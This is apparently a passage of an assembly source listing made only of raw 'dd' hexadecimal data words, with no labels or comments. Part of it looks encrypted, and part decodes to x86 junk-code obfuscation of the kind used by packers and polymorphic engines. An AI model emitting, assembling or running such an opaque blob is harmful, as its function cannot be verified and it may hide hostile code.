		dd 0BCD1FA9h, 11221A43h, 0F1D5C91Ah, 0AA124631h, 43727719h
		dd 3F589596h, 0B0F96F83h, 0C22A2D82h, 4A3553F5h, 0F68D55B1h
		dd 45605915h, 0AB237754h, 4372771Ch, 1AB12EAFh,	47563B4Eh
		dd 47563362h, 437277E6h, 87B126B9h, 0CED3D0E9h,	56F3D3BBh
		dd 10721D19h, 43727467h, 802957C7h, 672EFEB8h, 6736F6F5h
		dd 437261FCh, 8021347Ch, 0ABA21F28h, 4372770Bh,	416DFB52h
		dd 0E9289AD0h, 17D81230h, 0DA8C7B5h, 6F54A56h, 0C4FA9CC2h
		dd 938D2D46h, 0BA71CDA6h, 0CA88FC91h, 5147BE42h, 15721DE5h
		dd 43727419h, 802C57F8h, 6706FE22h, 6736F63Ah, 43726E1Bh
		dd 8024318Fh, 79907E50h, 0F914D285h, 0C6B43C68h, 456075A1h
		dd 0AFCC113Fh, 43769F15h, 335A771Fh, 92F9CB1Fh,	4CB1797h
		dd 22412609h, 4756337Ah, 232027A8h, 1943781Dh, 43F92966h
		dd 437265F7h, 284E4F8Fh, 97EC2618h, 5F7F0899h, 0BBDC14ABh
		dd 25A82468h, 0CA2B85F7h, 4C76537Ah, 43727399h,	0E6CC118Fh
		dd 43182FFBh, 43719FB3h, 1B5277F1h, 7FB2F3Bh, 7F37358h
		dd 436F731Ah, 1332771Fh, 0EA7BCB4Ch, 83051B75h,	0C8CD97AEh
		dd 51528E44h, 2AC788FEh, 4C746552h, 43726BB9h, 43629F1Fh
		dd 0F8EE778Fh, 3584C219h, 3015D80h, 86DB1556h, 0C6FB4945h
		dd 45605959h, 0E7F7FA60h, 2974629Eh, 409A248Fh,	637277C7h
		dd 0CA29B4B8h, 0C27653ADh, 5A7653BCh, 72777Ch, 0AAD0B46Dh
		dd 35836E21h, 0A03DA60Eh, 938D218Dh, 6367FA68h,	0C6FB71E3h
		dd 45607DBDh, 0AB217716h, 4372773Dh, 18B12C3Fh,	47562B06h
		dd 47563346h, 437277FFh, 0DBB124B2h, 0B2AA0D37h, 6030559Bh
		dd 41DBFAB5h, 0C6FF710Dh, 4567CA00h, 0AB2477ADh, 437277E0h
		dd 1DB129D1h, 47560371h, 475633FDh, 43727727h, 0FCB12159h
		dd 33A743FAh, 82EF767Dh, 137465C9h, 4360F3FEh, 4E9B77F8h
		dd 2B72777Ch, 0A3454C6Ch, 0EF377726h, 0E81D0514h, 2956734Eh
		dd 409A21E3h, 637277F1h, 0CA2CB4A6h, 0C2765308h, 5E76537Ah
		dd 572771Fh, 5D13B4D9h,	2B262911h, 0A8A642EDh, 43727218h
		dd 0BC8810F8h, 0D68D9326h, 456056B7h, 0AB247775h, 4372778Ch
		dd 1DB129E7h, 4756036Ah, 47563370h, 437277E0h, 4B1213Ah
		dd 96E952B3h, 437CFC10h, 4A9B778Fh, 8B7277C7h, 7F0A5B36h
		dd 4F47C1DAh, 9EF2AF73h, 5ACFFCCDh, 0CE74651Fh,	56CFF49Ah
		dd 13721D89h, 4372742Fh, 802A57E3h, 6736FEA9h, 6736F6FCh
		dd 43726078h, 8022373Eh, 98690E6Dh, 9568CDE9h, 6776FE97h
		dd 0AB227789h, 437277F2h, 1BB12FD8h, 475633F5h,	475633BFh
		dd 43727708h, 0DAB127CFh, 0C81CA2B5h, 5177DE56h, 46CFFEF7h
		dd 0F97465DCh, 4C7B0C55h, 0CABCFC6Eh, 0F9145303h, 0D68D83F9h
		dd 45606BA6h, 3AF7FE1Fh, 487465F5h, 517B1A75h, 22F7B07Ah
		dd 4C746536h, 2972771Fh, 409A258Fh, 637277C7h, 0CA28B4B9h
		dd 0C27653A5h, 597653BCh, 172777Ch, 6937B46Ch, 0D07E2C7Ah
		dd 0C6FB82C0h, 456046FEh, 470BE21Ch, 431871E3h,	43719FA9h
		dd 1A52777Ch, 0FFB2EFDh, 7F3733Bh, 436F73ABh, 123377C7h
		dd 0B0027320h, 21BB9A05h, 0CAB3DBD3h, 51547AF9h, 16721D38h
		dd 437274F7h, 802F578Fh, 671EFE9Ah, 6736F6E7h, 437261F5h
		dd 802732F8h, 25A4D536h, 0A4A98BFh, 4374F910h, 0C07D778Fh
		dd 437277C7h, 50CBF268h, 0DEFF71E3h, 4567A5BDh,	0CE7334F5h
		dd 51790E83h, 5CC7FA19h, 0FA74625Dh, 437277F4h,	7099D310h
		dd 43727749h, 37B27CF8h, 436AB57Fh, 4F5633B5h, 43729F4Ch
		dd 0C229778Fh, 43726004h, 672EFEE3h, 6736FEE1h,	74CA2CECh
		dd 0BC72D6DCh, 6736FCDEh, 0CA92881Bh, 51566232h, 11721DC1h
		dd 4372740Bh, 802857F1h, 6726FEA2h, 6736F678h, 4372603Ah
		dd 8020351Fh, 3AE60BD5h, 4213FA4Ch, 0FC1471F1h,	29137765h
		dd 409A22F8h, 6372777Ch, 0CA2FB463h, 0C2765373h, 557653CBh
		dd 67277C7h, 3BF1B4B6h,	437D9E2Ch, 6A7F77F8h, 78D55831h
		dd 0DE3F2034h, 0DDABFF16h, 0C2F7FEA3h, 0CE7465F3h, 56CFF45Eh
		dd 95FFFAF7h, 0FB74622Ah, 0DB54DC49h, 5F67F20Dh, 8C59710Dh
		dd 4C431817h, 8F43719Fh, 4185277h, 0C71FFB2Ch, 0D507F373h
		dd 0F8436473h, 83103177h, 0A4F305E9h, 0F28BD98Bh, 0AEE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 8036F9Ah, 0AE9F0h, 0C8F20000h, 0D2FC57B3h
		dd 0D85F3AF5h, 57006A61h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 40A6C600h, 248E0B90h
		dd 8B6660CEh, 9E9CAh, 0D4EA0000h, 257EB556h, 6152B6CEh
		dd 14E9h, 96482800h, 495B5068h,	631A1D67h, 0E0F697EEh
		dd 226ACBCEh, 6AC3E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 417897C3h, 0E9F5F0EBh, 7, 825F24E5h
		dd 8BB50CA5h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8B0FCA38h, 0Ch, 7E9h, 22AA4300h
		dd 18C1F4A7h, 61F860FCh, 0E71BD83h, 75000612h, 69BD8309h
		dd 6122Dh, 53501974h, 0B9B8C08Bh, 89000004h, 12320585h
		dd 519D8D06h, 0FF0614B0h, 83585BD3h, 122D69BDh,	17740006h
		dd 0B9B85350h, 89000004h, 12320585h, 0F29D8D06h, 0FF0614ACh
		dd 0E9585BD3h, 5, 19A18357h, 0B820F02h,	0E9000000h, 6
		dd 81357D35h, 8BF96DA7h, 19810FC0h, 0E9000000h,	14h, 8BBBD72Ah
		dd 7133B8D8h, 0E2EEF49Eh, 97099239h, 0F4286Bh, 66C18B40h
		dd 0EBCFA2BEh, 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 66601D2Bh, 531EDF81h
		dd 0C199D0Bh, 6A610612h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 98D8C356h, 0D12B9D27h
		dd 858D557Ch, 6120169h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 23C35343h, 1A358CD3h,	16DD598Bh, 81F28B66h
		dd 0B2DCD7h, 10E8501Bh,	0D6000000h, 874C36A1h, 29A01FFAh
		dd 0D868EE5Ah, 0BE8E516Fh, 4A533279h, 2404895Eh, 3279BD8Bh
		dd 6A0612h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	20C35242h, 38DDB38Eh, 0FB8B5E0Ch, 6830Fh, 95890000h
		dd 6122B55h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0BD81EBC3h, 602C7D02h, 0BE6614D5h
		dd 858D6F9Ch, 615D6BCh,	2E85B503h, 0C0830612h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0B245165h, 344AFE22h, 0EF8166B0h, 0BD236BDFh
		dd 6120545h, 52505250h,	310FF38Bh, 585A5F52h, 2404895Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 54C35141h
		dd 1A698589h, 0B58B0612h, 6123211h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 6F61A8C3h
		dd 2AA481E0h, 5052B22Eh, 10E9h,	4142C800h, 0C2D53E0Dh
		dd 0E991C95Ah, 0DED5A203h, 6A5E5F2Fh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0B3B601E4h, 2D3E9505h, 9D016831h, 6120841h, 4AD95FFh
		dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0BE97E6C3h, 5BE68166h, 1A9D8D06h,	6A06159Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 6CDEC352h, 5E9A3h, 3BD30000h, 0FFC26256h
		dd 4DBD8BD3h, 0FF06121Ch, 12136D85h, 6C1E906h, 0E80000h
		dd 5D000000h, 0D6C6ED81h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 930E5EC3h, 0A73C94D1h
		dd 861BD81h, 7D00612h, 860F0000h, 15Ah,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 93C35040h, 4526539Ch
		dd 3840F72h, 0F000000h,	9D8BF7BFh, 6121A01h, 0E381FA8Bh
		dd 100h, 850FDB0Bh, 0ABh, 94D9589h, 0BD830612h,	615D470h
		dd 29840F00h, 0E9000000h, 0A2h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 6EC35040h, 71285E82h, 0C9A501E5h
		dd 0D47085C7h, 10615h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0ED5FB5C3h, 6DB4BCD2h
		dd 0E992BAD8h, 11h, 7C4BD77Ah, 96DB717h, 36879838h, 0E3DD14DAh
		dd 34E9C9h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 49E608C3h, 669E7C04h, 0C7AC5CBFh
		dd 15D47085h, 6, 0FD87BF00h, 9D8D0E50h,	6121A01h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 59C35040h, 815F52B5h
		dd 0FFFEFF23h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E9EB28E8h, 0B503D3D5h
		dd 6121611h, 8E9h, 74F61300h, 5E5C89F7h, 8C66F942h, 3DB589DBh
		dd 0F6061222h, 840F04C3h, 33h, 85EF8166h, 7995FF70h, 6A061204h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0C1CC357h, 8B905FE2h, 0F88B50F3h,	0E9FA8B90h
		dd 3B9h, 2085BD8Bh, 0B00612h, 5E8h, 0B1639300h,	0F6057B7h
		dd 8Ch,	0E65F6100h, 0E4F88B70h,	52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 53D318D6h
		dd 2FFD8D2Fh, 0D8B60F97h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 14C35242h, 80C20B84h,	6BA87h,	0BD0B0000h
		dd 6123331h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0EC921AC3h, 6A04E8C1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D87C353h, 0E831AD34h, 0BD2B40F4h, 6121371h,	6AE2F766h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 66F3C352h, 4FD5EE81h, 6AD82Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0BCAB14C3h
		dd 0FB8BEA5Fh, 2C159D89h, 8B930612h, 0F18B50FEh, 55006A93h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0A473CE58h, 7D9B0D4Ch, 0FA8B668Bh, 0BFE78166h, 61B5FFE1h
		dd 6A061208h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0AEA3C352h, 89604738h,	12024985h
		dd 61F78B06h, 0CE9h, 277DDF00h,	1C7CA2A8h, 18675EBBh, 7595FF8Ah
		dd 6A061224h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0A9C2C355h, 49BD8965h,	0B0061222h
		dd 4DBD3300h, 89061219h, 122FD9B5h, 6A70E606h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4FD4C356h, 84C73748h, 6B73231Ch, 2CD9BD2Bh, 71E40612h
		dd 1965BD23h, 613C0612h, 1C3830Fh, 830F0000h, 6, 459BD8Bh
		dd 0B60F0612h, 999589D8h, 0BA06121Ah, 6, 68E0Fh, 0E7810000h
		dd 2D5BFEDBh, 8BFFBF0Fh, 69BE66C3h, 4E8C1C6h, 5E8BF781h
		dd 0F76639F3h, 6DBD8BE2h, 0F061208h, 0D82BF2B7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 6CC35141h, 58EB7F28h
		dd 880FD82Bh, 155h, 10E9h, 454F6700h, 0CAAF6311h, 37E17E59h
		dd 9F138A36h, 7B950h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 935790C3h, 71BD8B60h
		dd 60061219h, 5C5B58Bh,	61610612h, 89BD2B60h, 66061203h
		dd 8361F08Bh, 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 3B956EC3h, 0DA860FD9h, 89000000h
		dd 121BED95h, 0D98C6606h, 0F04C1F6h, 0A784h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 5EA584BEh, 252DB589h, 0B58B0612h, 612125Dh, 47995FFh
		dd 11E80612h, 8A000000h, 0DD22B8B1h, 0F4511591h, 184982DBh
		dd 8A4273CCh, 5EF6BF0Fh, 0B1BD895Bh, 0E9061234h, 9, 0FE2F2E91h
		dd 22EDEFCDh, 89C32BC0h, 122CB9B5h, 8343D06h, 860F0000h
		dd 34h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 0B7C35040h, 74E0DC61h, 899B4389h, 120055BDh,	27E906h
		dd 8F0F0000h, 0
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 1732B8C3h, 8BC38B1Dh, 9E8D8h, 50FD0000h
		dd 196DC746h, 818B0E46h, 19A35BDFh, 85C75E2Dh, 6122B99h
		dd 35EC2F3Bh, 0A3CF8166h, 66C08BF3h, 0BD81F78Bh, 6120861h
		dd 7D0h, 3B850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 99A394C3h, 9D890BDEh
		dd 6122205h, 86185FFh, 840F0612h, 6, 1C658D89h,	0B70F0612h
		dd 61B5FFFEh, 81061208h, 0B924C9CFh, 7595FF70h,	6A061224h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 54BAC350h, 0E969A8D4h, 13h, 1646716Bh, 76E9AA58h
		dd 0E17062ACh, 44F57C71h, 29B8DD33h, 12272595h,	78B89006h
		dd 6A123456h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 3172C355h, 8A452EC7h, 1331E6C0h
		dd 339DBD8Bh, 9D8D0612h, 615DD25h, 0FFF961E9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D58D897Ah, 8B061230h, 55006AC1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2CC99F82h
		dd 38EF120Ch, 6660BB8Eh, 61F8C68Bh, 4EBh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 15ED88C3h, 535D8705h, 8B4987B1h, 122CC5BDh, 69858D06h
		dd 90061201h, 2253BE66h, 53525050h, 7971E4BEh, 310F5E42h
		dd 5AFE8B66h, 6A9058h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C9C35343h, 0BC392FBh, 6A5C93h, 13D5BD8Bh
		dd 858D0612h, 615DF8Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 19C35747h, 0F0F590AAh, 8BA0CBCCh, 120AFDB5h
		dd 5C08306h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	1EC35141h, 58E0FE6h, 0BF000000h, 76761C36h, 90F1B70Fh
		dd 2BE6650h, 6A9071h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 829D9CC3h, 4CAF356Bh, 11E9AEh, 0E2B00000h
		dd 65FB2A1Bh, 0BD159502h, 0E9E7BECEh, 6ADE5C09h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 4A67F056h, 0BD01B6F3h, 61221D5h, 12E9h, 0DD77FF00h
		dd 40004E14h, 0E730496Ah, 0EE4F4A3Bh, 6A7F4ACBh, 0AD95FF00h
		dd 8B061204h, 1234DDB5h, 1A9D8D06h, 6A06159Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 6754C357h, 38B0Fh, 0BF0F0000h, 6AD3FFFEh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0B097C351h, 0D3A4D897h, 5CB4BFBFh, 8B660258h, 6D85FFFBh
		dd 0E8061213h, 7, 0BF4F810Dh, 0E9155461h, 6, 0A77BBAD3h
		dd 0E95FFDB7h, 0F7Eh, 0E8h, 0ED815D00h,	615DF94h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C9C35646h, 0B3C78166h
		dd 61BD81CAh, 0D0061208h, 0F000007h, 1A186h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1CD28DA2h, 0CED4931h, 9D8B18FDh, 6120A95h, 2A3DBD2Bh
		dd 0E3810612h, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0C3C35242h, 0F952E613h, 5E5F9074h, 5E9h
		dd 3FA35200h, 8E96E47h,	9D000000h, 7A55113Fh, 9962416h
		dd 1231D58Dh, 0FDB0B06h, 9585h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 2A671035h
		dd 85E7818Fh, 665E0B98h, 46CDF81h, 0DDB1BD83h, 0F000615h
		dd 0B84h, 92E900h, 85890000h, 6121A8Dh,	0DDB185C7h, 10615h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0CF89D8C3h, 5FE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 89CE0EB3h
		dd 17633915h, 85C787C4h, 615DDB1h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FEC35141h
		dd 0E6D53ACBh, 14D4E07Ch, 0F68166E7h, 0B58BA70Bh, 61232DDh
		dd 0A959D8Dh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 74DE98C3h, 81AC8B9Fh, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 7BC62F66h, 0DF816623h, 8C66AAEDh, 39B58BDBh
		dd 0F6061220h, 840F04C3h, 29h, 7995FFF9h, 0F061204h, 0E950FFBFh
		dd 13h,	3279BB1Dh, 0C810D0EEh, 0CFB9A621h, 3405B095h, 895E8EA5h
		dd 0B70F2404h, 44AE9F9h, 0BD8B0000h, 6122CC5h, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 7AE2C9C3h, 2BAE147Dh, 0F870E688h, 816671E4h,	0F938ED7h
		dd 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 98B75CC3h, 0F5872D2Ch, 0FE9h, 6C491E00h
		dd 36CEA574h, 685B0103h, 44F340BFh, 6BAh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0C38BF5A0h, 3C5B589h, 0E8C10612h, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0F5209D5Ah
		dd 296E2100h, 1234A99Dh, 0E2F76606h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 5FC35747h, 13BC3F92h, 9E954A9h
		dd 65000000h, 0EE47BF45h, 0AEC7B193h, 5760D82Bh, 24299D8Bh
		dd 66580612h, 615F66B9h, 14E950h, 6BD90000h, 847BE11Ah
		dd 727A2980h, 0B9329278h, 0E2CE9973h, 1C89A659h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0B5FFD470h, 6120861h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0C1C35040h, 0BE527D00h, 247595FFh, 0AE90612h
		dd 0B3000000h, 0E6A64452h, 9342B20Fh, 0F900B025h, 6A70E6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 6823E3C3h, 0BD6F34B7h, 89EE8650h, 1203C18Dh,	59958906h
		dd 0E406120Bh, 53006A71h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0A5BDA29Bh, 8B0B257Dh
		dd 12034DBDh, 0F613C06h, 26783h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0C944DB86h
		dd 2F9A38EBh, 0B531072Ah, 6121C0Dh, 6AD8B60Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 2B6DC355h, 19BBFD81h, 890F4D54h, 6, 35A59589h, 6BA0612h
		dd 0F000000h, 87h, 6AC38B00h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 53CAC352h, 8904E8C1h
		dd 12066585h, 0E2F76606h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0D4C35040h, 15D5E389h, 0F7E557Dh, 689h
		dd 98D8900h, 8106120Ch,	54A517D7h, 0FD82B2Fh, 0E858F9B7h
		dd 0Eh,	0A3E6C2A9h, 77A139F3h, 0A0FC0DDFh, 6660152Ch, 93874BAh
		dd 1213458Dh, 535E6106h, 71186CBFh, 0D82B5F07h,	16A880Fh
		dd 89600000h, 12346D85h, 0BD8B6006h, 6121389h, 248D8529h
		dd 61610612h, 7B9h, 0F830F00h, 0E9000000h, 0Ah,	0DCCC5382h
		dd 4D4B967Dh, 0F28B82C9h, 0BE00C183h, 10795324h, 860FD93Bh
		dd 128h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	2DC35141h, 0B58BEC47h, 6121375h, 8BD98C66h, 121A55BDh
		dd 0F9BF0F06h, 0F04C1F6h, 0D284h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 7995FFE4h
		dd 6A061204h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0E1BEC350h, 7654ECF7h,	0F6BF0F61h
		dd 52006A5Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0BDFCB87Bh, 0DE9AC6Fh, 4F000000h, 97AD6AFCh
		dd 2DB35EAFh, 0E1931E14h, 0E951C32Bh, 0Eh, 29DE8730h, 0DB93B838h
		dd 0DC9DDE13h, 0BE5EEDDCh, 57F94477h, 8343Dh, 30860F00h
		dd 66000000h, 34DAD681h, 1A8F0Fh, 0EE80000h, 0DD000000h
		dd 1E8FEB96h, 2B2C6EF4h, 54E89106h, 0D9B58B02h,	5F06122Dh
		dd 23E9h, 99D8900h, 8B061223h, 858B60C0h, 6121FD9h, 0EE9h
		dd 2BD91F00h, 0C60ADFDh, 4F11766h, 61ECF464h, 0D88BC38Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F6C35747h
		dd 56B0702Bh, 8D8930F9h, 61213DDh, 1A0185C7h, 359D0612h
		dd 0C08B583Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	6FC35141h, 372300E7h, 861BD81h,	7D00612h, 850F0000h
		dd 51h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 94C35141h, 0C8F215C8h, 0F1B523B3h, 0FF061219h, 12086185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 3739538h, 122E29B5h, 61B5FF06h, 6A061208h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0EC79C356h, 0B37FBF66h, 247595FFh, 6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 78B837C3h, 3890F38h,	0F000000h, 4090F7B7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A9C35141h, 0F3A3E6C2h
		dd 8977A139h, 120B75B5h, 9DBD8306h, 6121Ch, 122840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 621781C3h, 28DA1239h, 8902DDADh, 1205D5BDh, 6DBD8B06h
		dd 83061209h, 121B21BDh, 840F0006h, 0E4h, 0A7BE6656h, 95FF5EBCh
		dd 6121C9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	7DC35646h, 9F53C31Ah, 2ADDBD33h, 0C00B0612h, 0AA840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0E0B491C3h, 9F4C2E9Ch, 0FF6BE66h,	0F38B6660h
		dd 8E8h, 94EE0E00h, 0CC0D2FD3h,	5F6160D6h, 8B606061h, 120C21BDh
		dd 61D78A06h, 8D8D61F5h, 6125065h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0C8C35040h,	1547CCACh, 65B65BB7h
		dd 68E0F1Fh, 8B000000h,	123169BDh, 5B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0F76C32C3h, 0BEE1FF11h, 30B38FCAh, 351DBD83h, 0F000612h
		dd 67984h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0F53AE6Bh, 835FF9BFh, 121B21BDh
		dd 840F0006h, 64Ah, 8DFAB70Fh, 1205B98Dh, 0C880F06h, 0F000000h
		dd 68Dh, 0C19D2900h, 0C7061214h, 0B27C8401h, 57006A44h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0CB0181EBh, 6A1499CFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 11E6C351h, 441C71Eh
		dd 0CE706B34h, 2C9B58Bh, 41810612h, 0D6D71004h,	0D6816631h
		dd 6A0234h, 5B9858Dh, 11E80612h, 32000000h, 238C41B3h
		dd 40DC4163h, 0B2DDDD36h, 82AB5278h, 2EFD9D89h,	905F0612h
		dd 0EE952h, 0D0CD0000h,	9842A979h, 5A293D1h, 9449B2Eh
		dd 0E990505Fh, 8, 0D622B3A5h, 0C789C4Ah, 0FFFE8B66h, 12351D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 956C98F7h, 0E81E5BDFh, 8D8DA3FBh, 61205B9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 8C35242h
		dd 3AD078A0h, 0D7163F6Ch, 0B490BF97h, 0BF0F6AB7h, 1C7F8h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0AFE5C355h, 0C7FFB70Fh, 441h
		dd 0F88B0000h, 840FC00Bh, 4Ah, 29F1BD8Bh, 8D890612h, 6123129h
		dd 50658D8Dh, 81660612h, 0B82FAFC6h, 5,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0CCC35646h, 0B25B43C9h
		dd 4432DF36h, 23E9B58Bh, 0E1FF0612h, 8D8DF08Bh,	61205B9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 20C35747h
